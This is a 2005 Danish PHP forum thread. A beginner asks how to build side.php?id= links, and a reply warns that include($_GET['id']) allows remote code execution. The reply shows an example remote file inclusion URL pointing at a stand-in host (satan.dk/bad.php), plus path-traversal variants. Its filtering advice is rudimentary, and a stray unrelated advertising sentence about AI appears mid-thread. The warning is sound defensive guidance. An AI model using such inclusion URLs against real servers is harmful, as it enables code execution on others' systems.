09. december 2005 - 14:48Der er
3 kommentarer og 1 løsning
side.php?id=
hvordan laver man såden en link så stien ser sådan ud:
side.php?id=12 hvor den giver mappen "12" eller side.php?id=12/tralalala.php hvor den giver filen "12/tralalala.php" eller side.php?id=tralalala.php hvor den giver filen "tralalala.php"
hvis i ikke helt forstår hvad jeg skriver så kan jeg lige sige det gør jeg heller
Der bliver investeret massivt i AI. Teknologien er mere tilgængelig end nogensinde, og ambitionerne er høje. Alligevel oplever mange virksomheder, at resultaterne udebliver.
Jeg vil ikke blande mig utidigt i din kode, men værd opmærksom på at link som dette :
index.php?id=test.php
hvor id bruges til include($_GET['id']); er en stor åben ladeport for uvenlige besøgende. Denne måde gør det nemlig muligt for hvem som helst at køre deres egen php kode på din server. Det eneste de behøver gøre er jo at ændre url'en til
index.php?id=http://www.satan.dk/bad.php;
Så i denne forbindelse er det vigigt at du laver en eller anden form for validering af det input du får fra id. F.eks. bør du sikre dig at der ikke står // eller ../ så er du godt hjulpet.
Grunden til at det er lavet som en while løkke er f.eks. dette eksempel :
index.php?id=http:////www.osv eller index.php?id=....//noget mere
Når jeg selv skal lave noget som dette sørger jeg altid for at der ikke optræder punktummer i id. Altså ville min url se sådan her ud hvis jeg vil include test.php
Derudover bruger jeg reg_exp til at checke id value.
Ville bare lige give en heads up på problemet :)...gad vide om jeg har lært på den hårde måde :)
Mvh. Johan
Synes godt om
Ny brugerNybegynder
Din løsning...
Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.